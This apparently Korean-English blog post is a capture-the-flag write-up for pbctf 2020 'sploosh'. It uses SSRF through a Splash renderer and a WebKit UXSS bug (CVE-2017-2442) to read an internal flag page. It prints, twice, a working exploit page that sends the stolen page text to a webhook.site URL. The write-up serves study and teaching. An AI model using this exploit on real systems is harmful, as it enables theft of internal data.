본문 바로가기
hacking & security/web

pbctf 2020 - sploosh writeup

by 탁종민 2020. 12. 17.

문제에 제공된 docker-compose 파일을 확인해보니 splash php 서버로 이루어진 시스템이였다

version: "3.8"
services:
  webapp:
    build: .
    env_file:
      - ./flag.env    
    networks:
      sploosh_internal:
        ipv4_address: 172.16.0.14

    ports:
      - 9000:80
    volumes:
      - ./src:/var/www/html/:ro

  splash:
    image: scrapinghub/splash
    ports:
      - 8050:8050
    networks:
      sploosh_internal:
        ipv4_address: 172.16.0.13

networks:
  sploosh_internal:
    ipam:
      driver: default
      config:
        - subnet: 172.16.0.0/24

 

구성도로 보면 대충 다음과 같다.

splash는 웹페이지를 렌더링한 뒤 스크레이핑 혹은 스크린샷을 얻어오는 서비스다. php서버는 사용자로부터 렌더링할 url을 입력받고 api.php에서는 splash서비스로 해당 url파라미터와 함께 GET 쿼리를 날린다.

 

- webapp/api.php

try {
  $json = file_get_contents("http://splash:8050/render.json?timeout=1&url=" . urlencode($url));
  $out = array("geometry" => json_decode($json)->geometry);
  echo json_encode($out);
} catch(Exception $e) {
  fail();
}

- webapp/flag.php

<?php

$FLAG = getenv("FLAG");

$remote_ip = $_SERVER['REMOTE_ADDR'];
if ($remote_ip === "172.16.0.13" || $remote_ip === '172.16.0.14') {
  echo $FLAG;
} else {
  echo "No flag for you :)";
}
?>

flag.php에서 flag는 내부 ip로 접근해야 얻을 수 있다. url을 이용한 SSRF조건이 주어졌지만 flag를 읽어도 php코드가 geometry값만을 유저에게 보여주므로 일반적인 방법으로는 flag를 읽어 낼 수 없다.

 

* UXSS

문제에서 사용중인 splash는 rendering 엔진으로 2016년도 webkit 버전을 사용중이였다. 따라서 그 이후에 발견된 UXSS 취약점 중 하나를 골라 써먹었다. (github.com/Metnew/uxss-db/tree/master/webkit/CVE-2017-2442)

 

exploit 과정은

1. splash가 렌더링할 page의 url을 http://내서버주소/my_exploit.html로 설정한다.

2. splash는 my_exploit.html을 렌더링하면서 script를 실행한다.

3. script에서 iframe으로 172.16.0.14 flag.php 페이지를 연 후 UXSS로 flag가 있는 페이지에서 script을 실행해 flag를 탈취해낸다.

 

- my_exploit.html

<html>
<body>

	<div id="hello">

	</div>
	<iframe src="https://www.google.com/" title="W3Schools Free Online Web Tutorials"></iframe>
	<script>
        let code = `            
                    let oImg = document.createElement("img");
					oImg.setAttribute('src', 'https://webhook.site/2d142314-ef34-429d-b051-ede21c90a1c8/' + document.documentElement.innerText);
                    document.body.appendChild(oImg);
            `
		let f = document.body.appendChild(document.createElement('iframe'))
		f.onload = () => {
			f.onload = null

			try {
				let iterator = document.createNodeIterator(
					document,
					NodeFilter.SHOW_ALL,
					f.contentWindow
				)
				iterator.nextNode()
			} catch (e) {
				e.constructor.constructor(code)()
			}
		}

		f.src = 'http://172.16.0.14/flag.php';
	</script>
</body>

</html>

 


I could figure out with docker-compose file that this system is composed of splash service and php service.

version: "3.8"
services:
  webapp:
    build: .
    env_file:
      - ./flag.env    
    networks:
      sploosh_internal:
        ipv4_address: 172.16.0.14

    ports:
      - 9000:80
    volumes:
      - ./src:/var/www/html/:ro

  splash:
    image: scrapinghub/splash
    ports:
      - 8050:8050
    networks:
      sploosh_internal:
        ipv4_address: 172.16.0.13

networks:
  sploosh_internal:
    ipam:
      driver: default
      config:
        - subnet: 172.16.0.0/24

The structure of the system is simple and might look like this. 

splash is a service that scrapes a page or just takes a screenshot of the page after rendering it. PHP server gets url input from users. After then, in api.php, PHP makes GET query to splash service with that url input from the users.

 

- webapp/api.php

try {
  $json = file_get_contents("http://splash:8050/render.json?timeout=1&url=" . urlencode($url));
  $out = array("geometry" => json_decode($json)->geometry);
  echo json_encode($out);
} catch(Exception $e) {
  fail();
}

- webapp/flag.php

<?php

$FLAG = getenv("FLAG");

$remote_ip = $_SERVER['REMOTE_ADDR'];
if ($remote_ip === "172.16.0.13" || $remote_ip === '172.16.0.14') {
  echo $FLAG;
} else {
  echo "No flag for you :)";
}
?>

In flag.php, any request should be internal IP like 172.16.0.13, 172.16.0.14 to get the flag. Although there is SSRF condition, we can't just read the flag because php code would return only geometry value of the flag page to users.

 

* UXSS

The rendering engine of the splash service is 2016 version WebKit. After noticed it, i decided to use one of the UXSS vulnerabilities found after 2016. (github.com/Metnew/uxss-db/tree/master/webkit/CVE-2017-2442)

 

So my exploit process is:

1. Set the URL of splash to render as http://my_server_address/my_explit.html.

2. splash service will render my_exploit.html executing javascript code.

3. with javascript, we can open iframe of 172.16.0.14/flag.php and read the flag using UXSS, and then we can extract the flag.

 

- my_exploit.html

 

 

 

- my_exploit.html

<html>
<body>

	<div id="hello">

	</div>
	<iframe src="https://www.google.com/" title="W3Schools Free Online Web Tutorials"></iframe>
	<script>
        let code = `            
                    let oImg = document.createElement("img");
					oImg.setAttribute('src', 'https://webhook.site/2d142314-ef34-429d-b051-ede21c90a1c8/' + document.documentElement.innerText);
                    document.body.appendChild(oImg);
            `
		let f = document.body.appendChild(document.createElement('iframe'))
		f.onload = () => {
			f.onload = null

			try {
				let iterator = document.createNodeIterator(
					document,
					NodeFilter.SHOW_ALL,
					f.contentWindow
				)
				iterator.nextNode()
			} catch (e) {
				e.constructor.constructor(code)()
			}
		}

		f.src = 'http://172.16.0.14/flag.php';
	</script>
</body>

</html>

 

 

'hacking & security > web' 카테고리의 다른 글

LINE CTF - 2021 ( diveInternal, your-note )  (0) 2021.03.23

댓글